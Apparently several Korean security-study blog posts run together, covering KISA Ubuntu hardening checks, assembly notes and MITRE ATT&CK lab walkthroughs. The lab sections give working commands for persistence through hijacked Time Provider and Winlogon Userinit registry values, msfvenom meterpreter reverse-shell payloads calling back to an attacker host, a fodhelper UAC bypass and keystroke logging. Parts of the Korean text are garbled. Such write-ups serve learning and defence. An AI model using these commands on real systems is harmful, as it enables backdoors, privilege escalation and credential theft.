환경

 - Ubuntu 18.04.6 LTS

 

U-02(상)

 

1.2 패스워드 복잡성 설정

위 권장값이 모두 설정되어 있는지 /etc/pam.d/common-password 파일에서

확인한다.(ubuntu는 이 경로에 설정할 수 있다.)

 

 -> $count 변수의 값이 6이 아닌 경우, 취약한 이유는 설정값이 한줄, 6개가 있기 때문이다.

 

#script 작성

 

#실행결과

 

 

출처 : https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35988

환경

 - Ubuntu 18.04.6 LTS

 

U-01(상) 

 

1.1 root 계정 원격접속 제한

 - Xined(Extended Internet Daemon) : 인터넷 기반 연결을 담당하는 유닉스계열 슈퍼 데몬

 

#판단기준(telnet)

1. 원격접속 서비스 실행 확인

2. telnet 파일 생성여부 및 접속 설정 여부 확인

3. 보안규칙을 확인하는 모듈 설정 여부 확인

4. 모듈 설정과 관계없이 root 계정 접속 허용 여부 설정 확인

 

#판단기준(ssh)

5. ssh 데몬 실행 확인

6. ssh 관리자 원격 접속 설정 확인

 

1. Xinetd가 실행되고 있는가?

  : ps -ef | grep xinetd | grep -v grep | wc -l --> 0이 나오면 실행되지 않고 있으므로 양호.

 

2. Xinetd가 실행된다면, /etc/xinetd.d/telnet 파일이 존재하며, disable = no 설정이 되어있는가?

  : cat /etc/xinetd.d/telnet | grep disable | grep no | wc -l --> 0이 나오면 파일이 없거나, disable = yes이므로 양호.

 

3. 파일이 존재하고, telnet 사용이 설정되어 있을 때, /etc/pam.d/login에서 pam_securetty.so 모듈과 required 설정이 되어있는가? (모듈이 지정해 놓은 보안규칙을 만족해야 로그인 허용)

  : cat /etc/pam.d/login | grep pam_securetty.so | grep requied | wc -l --> 0이 나오면 취약.

 

4. 3번의 설정이 되어있지 않았을 때, /etc/securetty 파일에 pts/x 설정이 존재하는가?

  : cat /etc/securetty | grep "pts/" | wc -l --> 0이 나오면 취약.

 

5. ssh 데몬이 구동되고 있는가?

  : ps -ef | grep ssh | grep -v grep | wc -l --> 0이 아닐 시 실행되고 있음

 

6. ssh 설정에서 PermitRootLogin No 설정이 되어있는가? (Yes는 관리자가 원격에서 시스템에 접근 가능.)

  : cat /etc/ssh/sshd_config | grep -x "PermitRootLogin No" | wc -l --> 0이 아닐 시 양호

 

 

#script 작성

 

#실행 결과

 

 

 

출처 : https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35988

T1547.003 - Time Providers / Window

 

Description

공격자는 시스템이 부팅될  DLL 실행하기 위해 시간 공급자를 남용할  있습니다. Windows 시간 서비스(W32Time) 도메인   도메인 내에서 시간 동기화를 가능하게 합니다 W32Time 시간 공급자는 하드웨어/네트워크 리소스에서 타임스탬프를 검색하고  값을 다른 네트워크 클라이언트에 출력하는 역할을 합니다

시간 공급자는  하위 키에 등록된 DLL(동적 연결 라이브러리) 구현됩니다 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\서비스 제어 관리자가 지시하는 시간 공급자 관리자는 시스템 시작  /또는 매개변수가 변경될 때마다   아래에 나열되고 활성화된 시간 공급자를 로드하고 시작합니다

공격자는 특히 악성 DLL 시간 공급자로 등록하고 활성화하여 지속성을 설정하기 위해  아키텍처를 남용할  있습니다실행은 로컬 서비스 계정의 컨텍스트에서 실행되지만 시간 공급자 등록에는 관리자 권한이 필요합니다

 

Test

 -환경 : Windows 11

 - 악성 페이로드를 DLL 안에 심고, 경로를 임의로 조작해서 동기화마다 페이로드를 실행 가능하다.

   위에서는 temp/w32time.dll이 동기화마다 실행되게 하는 모습이다.

 

 

공격 실습.

※주의

이후 기술할 공격 실습내용은 본인의 가상환경에서만 실습해보시기 바랍니다.

악용으로 인한 결과는 본 문서의 기술자가 책임지지 않습니다.

 

 

환경

 - windows 바이러스 및 백신 탐지 off

 

 

(1) Admin CMD에서 DLL이 임의의 위치를 가리키도록 레지스트리 키를 수정.

 원본값

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\temp\w32time.dll"

 

 - 값이 변경되었음.

 

 

(2) MSFVENOM을 사용하여 64bit 리버스 쉘 DLL 생성.

info 

 LHOST : 192.168.88.131

 LPORT : 9500

 RHOST : 172.30.1.21

 

  • msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.137.130 LPORT=9500 > reverse_64bit.dll

 

 

(3) Simple Pythone HTTP Server를 사용하여 파일을 피해자 환경으로 전송.

  • python -m SimpleHTTPServer

 

 

(4) 1번에서 지정한 NtpClient의 DllName 레지스트리의 값으로 이동, 이름변경

 

 

(5) 공격자의 시스템에서 reverse handler 시작.

 - Payload : windows/x64/meterpreter/reverse_tcp

 - LHOST : 192.168.88.131

 - LPORT : 9500

 

 

(6) reverse TCP handler 실행, w32time service 재시작

 - 본 환경에서는 w32time이 꺼져 있었으므로, 바로 실행. (sc stop w32time : w32time 서비스 중지)

 

 

(7) 세션이 생성된 핸들러 확인.

 

 

 

#참고문헌

https://pentestlab.blog/2019/10/22/persistence-time-providers/

https://medium.com/securebit/meterpreter-shell-as-a-32-64-bit-dll-2520604e41f6

 

#w32time 레지스트리 정상화

https://zkim0115.tistory.com/1227

 

T1547.005 - Security Support Provider

 

Description

공격자는 시스템 부팅 DLL 실행하기 위해 보안 지원 공급자(SSP) 남용할 있습니다. Windows SSP DLL 시스템 시작 LSA(로컬 보안 기관) 프로세스에 로드됩니다. LSA 로드되면 SSP DLL 로그온한 사용자의 도메인 암호 또는 스마트 카드 PIN 같이 Windows 저장된 암호화된 일반 텍스트 암호에 액세스할 있습니다.

SSP 구성은 개의 레지스트리  HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 저장됩니다 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages공격자는 SSP 추가하기 위해 이러한 레지스트리 키를 수정할 있습니다. SSP 다음에 시스템이 부팅되거나 AddSecurityPackage Windows API 기능이 호출될 로드됩니다[1]

 

 

Test

 -환경 : windows 10 admin privilege powershell

 

(1) 원본 레지스트리 값이다.

 

(2)Get-ItemProperty를 통해 임의의 ssp_dll을 삽입하였다. default : C:\Windows\System32

 

(3)임의의 DLL이 잘 들어간 것을 볼 수 있다.

 - 간단한 실습이라 악성 SSP DLL 동작확인 못함. (수정예정)

 

참고문헌 : https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.005/T1547.005.md

'Mitre Att&CT - Privilege Escalation > Boot or Logon Autostart Execution' 카테고리의 다른 글

Time Providers  (0) 2022.05.08
WinLogon Helper DLL  (0) 2022.05.08
Registry Run Keys / Startup Folder  (0) 2022.05.08

T1547.004 WinLogon Helper

 

Description

공격자는 사용자가 로그인할 DLL /또는 실행 파일을 실행하기 위해 Winlogon 기능을 남용할 있습니다.

Winlogon.exe 로그온/로그오프 작업과 Ctrl-Alt-Delete 의해 트리거되는 보안 주의 시퀀스(SAS) 담당하는 Windows 구성 요소입니다.

HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\  레지스트리 항목은 

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Winlogon 지원하는

추가 도우미 프로그램 기능을 관리하는 사용됩니다

 

 Test

 -환경 : Windows 10 admin privilege cmd

 

 

(1) 원본 레지스트리 값 (REG_SZ)

 

(2) 레지스트리 값 변경


(3) 실행확인(로그오프 후 재로그인)

 

공격 실습.

※주의

이후 기술할 공격 실습내용은 본인의 가상환경에서만 실습해보시기 바랍니다.

악용으로 인한 결과는 본 문서의 기술자가 책임지지 않습니다.

 

+ 실습 시 해당 레지스트리 값에서 userinit.exe와 explorer.exe의 값은 절대 유지하시길 바라며

두번째 인자로 오는 악성 프로그램도 무한루프에 빠지는 등의 기능이 존재하지 않아야 합니다.

이 레지스트리의 값을 잘못 변경하면 드라이브를 포맷해야할 수 있습니다.(가상환경에서만 추천드림)

 

 

 

환경

 

 

(1) 레지스트리 값 변경

 - Shell과 Userinit에서 악용할 수 있는데, Userinit으로 실습할 예정.

 

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\temp\backdoor.exe" /f

 - 잘 변경되었다.

 

 

(2) MSFVENOM을 사용하여 64bit 리버스 쉘 exe파일 생성.

info 

 LHOST : 192.168.75.128

 LPORT : 9500

 RHOST : 172.25.177.49

 

  • sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=9500 -f exe > backdoor.exe 

 

 

(3) Simple Pythone HTTP Server를 사용하여 파일을 피해자 환경으로 전송.

  • python -m SimpleHTTPServer

 

 

(4) 1번에서 지정한 Userinit의 레지스트리의 값으로 이동

 

 

(5) 공격자의 시스템에서 reverse handler 시작.

 - Payload : windows/x64/meterpreter/reverse_tcp

 - LHOST : 192.168.75.128

 - LPORT : 9500

 

 

(6) 피해자 환경 로그아웃 후 재로그인

 

 

(7) 세션이 생성된 핸들러 확인.

 - 사용자를 로그아웃하고 재로그인하거나, 재부팅 시 레지스트리의 값이 작동하는 모습이다.

 

 

참고문헌 : https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/

T1547.001 Registry Run Keys / Startup Folder - Window

 

Description

 부팅 프로그램과 서비스를 시작하거나 로드할 , windows 레지스트리는 시작폴더보다 우선이다. 보통의 RootKit Windows레지스트리 또는 화이트리스트 영역에 파일을 숨기기 때문에 전문적인 Malware 방지 솔루션이나 제품을 사용하지 않으면 감지가 힘들다.         이러한 악의적인 실행 키는 부팅마다 자동으로 실행되기 때문에, 지속적인 피해를 입는다.

 

Test

- 환경 : windows11(powershell:user)

 - 4개의 StartupFolder 검사하는 스크립트를 실행했으나, 악성으로 보이는 파일이 나타나지 않았다.

 

 

 

참고문헌 : https://labs.jumpsec.com/running-once-running-twice-pwned-windows-registry-run-keys/

'Mitre Att&CT - Privilege Escalation > Boot or Logon Autostart Execution' 카테고리의 다른 글

Time Providers  (0) 2022.05.08
Security Support Provider  (0) 2022.05.08
WinLogon Helper DLL  (0) 2022.05.08

T1548.002 - Window UAC bypass

 

Description

 공격자는 UAC 메커니즘을 우회하여 시스템의 프로세스 권한을 높일 있습니다. Windows UAC(사용자 계정 컨트롤) 사용하면 프로그램이 권한을 상승(낮음에서 높음까지의 무결성 수준으로 추적)하여 관리자 수준 권한으로 작업을 수행할 있습니다사용자에게 미치는 영향은 높은 적용에서 작업을 거부하는 것부터 사용자가 로컬 관리자 그룹에 있고 프롬프트를 통해 클릭하는 경우 작업을 수행하도록 허용하거나 사용자가 작업을 완료하기 위해 관리자 암호를 입력하도록 허용하는 것까지 다양합니다.

 

Test

 - 환경 : windows 10(install 22.04.04),window virus & threat protecion off, window powershell(user) / windows 11

 

(1). New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force

(2). New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

(3). Start cmd -> fodhelper -> “administrator cmd open”

 

 

참고문헌 : https://community.spiceworks.com/topic/2314747-bypassing-uac-in-windows10-in-2-lines-only

어셈블리 코드로서, gdb로 오픈 시 형태가 다를 수 있음.

 

#1.

global main

section .text
main:

mov ebx, eax    -------------- ebx에 eax의 주소값 복사         : *eax = 0xf7fbb808
mov ebx, 0xbffff098 -------- ebx에 0xbffff098 복사            : *ebx = 0xbffff098
mov dword [eax], 0x10 ---- eax의 주소값 안에 0x10 복사    : eax = 0x10 (0xf7fbb808 = 0x10)

mov ebx, dword [eax] ------ ebx에 eax의 주소값 안에 들어있는 값 복사 : *ebx = eax --> *ebx = 0x10
mov ebx, eax   -------------- ebx에 eax의 주소값 복사         :  ebx = 0xf7fbb808

 

#초기 주소값과 데이터

*eax = 0xf7fbb808

*ebx = 0x0

eax = 0xffffcd9c

ebx = Cannot access

 

mov

 - 데이터 복사 명령어

 - lea와의 차이 뒤에 기술.

 - mov ebx, eax ---> ebx = 0x7fbb808

 - mov ebx, [eax] --> ebx = 0xffffcd9c

 

 

#2.

global main

section .text
main:
mov eax, esp   ---------- eax에 esp의 주소값 복사                                         : *eax = 0xffffccfc
sub  esp, 8   ------------- esp의 주소에 8를 빼기연산                                      : *esp = 0xffffccf4 
mov [eax], dword 1 ----- eax의 주소 안에 0x1 데이터를 복사                           : eax = 0x1 ---> 0xffffccfc = 0x1
mov [eax-4], dword 2 --- eax의 주소에서 4를 뺀 주소 안(값)에 0x2 데이터를 복사 

                                                                                                       : [eax-4] = 0x2 ---> 0xffffccf8 = 0x2
sub [eax-4], dword 1 ---- eax의 주소에서 4를 뺀 주소 안에 0x1 데이터를 복사

                                                                                                       : [eax-4] = 0x1 ---> 0xffffccf8 = 0x1

 

#초기 주소값과 데이터

*eax = 0xf7fbb808

*esp = 0xffffccfc

eax = 0xffffcd9c

[eax-4] = 0x00000000

 

 

#3.

section .text
main: 
        mov     eax, 1 ------------ eax의 주소에 0x1 복사                                : *eax = 0x1, eax = {cannot access}
        mov     ebx, 4 ------------ ebx의 주소에 0x4 복사                               : *ebx = 0x4, ebx = {cannot access}

       mov    ecx, 7  ------------ ecx의 주소에 0x7 복사                                 : *ecx = 0x7, ecx = {cannot access} 
        lea     eax, [eax+ecx] ---- eax의 주소에 *eax+*ecx의 주소값                : *eax = 0x8, eax = {cannot access} 

        lea     ebx, [ebx*4] ------- ebx의 주소에 *ebx * 4 = 4*4 --> 0x10 복사 :  *ebx = 0x10, ebx = {cannot access}
        mov     eax, [eax+ecx] --- eax(*1=?), ecx(*7=?) --> 0x1과 0x7에는 메모리가 접근 불가.(힙으로 추정)

                                                                            에러 후 종료

        mov     eax ---------------- 

 

#초기 주소값과 데이터

(시작부터 복사해서 의미없음)

 

 

#4.

global main

section .text
main:
        mov     eax, 0x33 ------- eax의 주소에 0x33 복사          : *eax = 0x33
        mov     ebx, 0x55 ------- ebx의 주소에 0x55 복사         :  *ebx = 0x55
        mov     ecx, 0x42 -------- ecx의 주소에 0x42 복사        :  *ecx = 0x42

        and     eax, ebx  --------- eax의 주소와 ebx의 주소를 and연산 : *eax = 0x11
        or      eax, ecx ----------- eax의 주소와 ecx의 주소를 or연산 :  *eax = 0x53
        xor     eax, 0xac ---------- eax의 주소와 0xAC를 xor 연산 : *eax = 0xFF

 

+) and, or, xor 연산

1. and 연산 : 둘 모두 같아야 1

*eax = 0x33 = 0011 0011

*ebx = 0x55 = 0101 0101        and

-----------------------------------------

                    0001 0001  ----> 0x11

 

2. or 연산 : 둘 중 하나라도 1이면 1

*eax = 0x11 = 0001 0001

*ecx = 0x42 = 0100 0010          or

-----------------------------------------

                   0101 0011 ------> 0x53

 

3. xor 연산 : 둘이 서로 (무조건)달라야 1

*eax    = 0x53 = 0101 0011

*0xAC = 10, 12= 1010 1100        xor

------------------------------------------

                      1111 1111 ----> 0xFF 

 

#5.

global main

section .text
main:
        mov     eax, 2 ------- eax의 주소에 2를 복사 eflags=0x246
        cmp     eax, 2 ------- eax의 주소와 2를 비교 eflags=0x246
        cmp     eax, 1 ------- eax의 주소와 1을 비교 eflags=0x202
        cmp     eax, 3 ------- eax의 주소와 3을 비교 eflags=0x297

        test    eax, eax ------ eax의 주소와 eax의 주소를 and연산 eflags=0x202 
        mov     eax, 0 ------- eax의 주소에 0 복사 eflags=0x202
        test    eax, eax ------ eax의 주소와 eax의 주소를 and 연산 eflags=0x246

 

+)

cmp : oper1 - oper2 ---> +,-,0 나올 수 있음.

 

EFLAGS Register

ex)202

0010 | 0000 | 0010 -----------> [IF]

OF DF IF TF | SF ZF 0 AF | 0 PF 1 CF

 

 

OF(Overflow Flag) : 연산의 결과 값이 Sign-bit(MSG)를 제외한 최대 허용 정수값보다 크거나,

                          최소 정수값보다 작으면 1이 된다. --> overflow check

 

DF(Direction Flag) : 문자열을 처리하는 명령(MOVS, CMPS, SCAS, LODS, STOPS)를 제어하는 플래그.

                          1이 되어 있으면 높은 주소에서 낮은 주소대로 처리, 0이면 낮은 주소에서

                          높은 주소로 처리한다. (assembly = STD : set(1), CLD : clear(0))

 

IF(Interrupt Flag) : 프로세스로부터 인터럽트가 발생하면 인터럽트 처리를 할 것인지 제어.

                       1이 되어 있으면 인터럽트 신호가 발생 시 인터럽트를 처리.

                       0인 경우는 인터럽트 신호 와도 반응안함.

 

TF(Trap Flag) : 디버깅 시 Single step mod 활성화 하였을 때 1이 된다.

                   명령 실행 시 TF를 세트하여 하나의 명령씩 프로그램을 수행 가능

 

SF(Sign Flag) : 최상위 bit의 결과와 같은 결과로 설정된다. Signed Integer로 사용되는 경우

                   SF가 0이면 양수, 1이면 음수를 나타낸다.

 

ZF(Zero Flag) : 산술 연산 결과가 0인 경우 1이 되고 아니면 리셋.

                    보통 값 비교에서 oper1 - oper2=0 (같음) 혹은 루프에서 1씩 차감하여

                    0이 되면 루프를 빠져나오게 하는 등의 방식으로 활용되는 플래그.

 

AF(Adjust Flag) : 산술연산 수행결과가 bit3 자리에 자리 올림이나 내림이 발생할 때 1이 됌.

                      10진법(BCD) 연산에 사용되는 플래그.

 

PF(Parity Flag) : 산술연산 수행결과가 하위 1Byte 중 1bit가 짝수면 1, 아니면 0이 된다.

 

CF(Carry Flag) : 산술연산 수행결과가 자리 올림이나 자리 내림이 발생할 때 1이 된다.

 

참고 : https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=no1rogue&logNo=30095428920 

 

즉, 3번째 줄 cmp     eax, 1 에서 eflags가 202가 나왔는데, 이는

0010 0000 0010 을 뜻하고, IF 하나만 세팅되었다는 것을 알 수 있다.

 

 

#6.

global main

section .text
main:
        mov     ecx, 0  ------------- ecx의 주소에 0 복사                      : *ecx = 0
        mov     eax, ecx ----------- eax의 주소에 ecx의 주소 복사          : *eax = 0
        inc     ecx ------------------ ecx의 주소에 1 증가                       : *ecx = 1
        cmp     ecx, 255 ----------- ecx의 주소에 255를 빼서 and연산     : *ecx - 255 != 0 ----> 1 != 255 [ZF = 0]
        jne     0x8048067 ---------- 같지 않으면 0x8048067로 점프       
        ret

 

 

PowerShell Excution Policy

  Powershell -> Get-ExecutionPolicy 로 확인 가능.

 

Restricted(제한됨) : 스크립트 실행 불가

AllSigned : 신뢰할 수 있는 게시자가 서명한 스크립트만 실행 가능

RemoteSigned(default) : 다운로드한 스크립트는 신뢰할 수 있는 게시자가 서명하면 실행 가능.

Unrestricted(제한없음) : 모든 Windows Powershell 스크립트 실행 가능

 

 - etc 참고자료 :

https://docs.microsoft.com/ko-kr/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.2

 

#key stroke

 - session 우클릭 - Explore - Process List 후 Refresh.

 - process에서 program search 후 하단에 Log keystrokes 클릭 (chrome 대상)

 

 - key strokes 창 확인.

 

+ Recent posts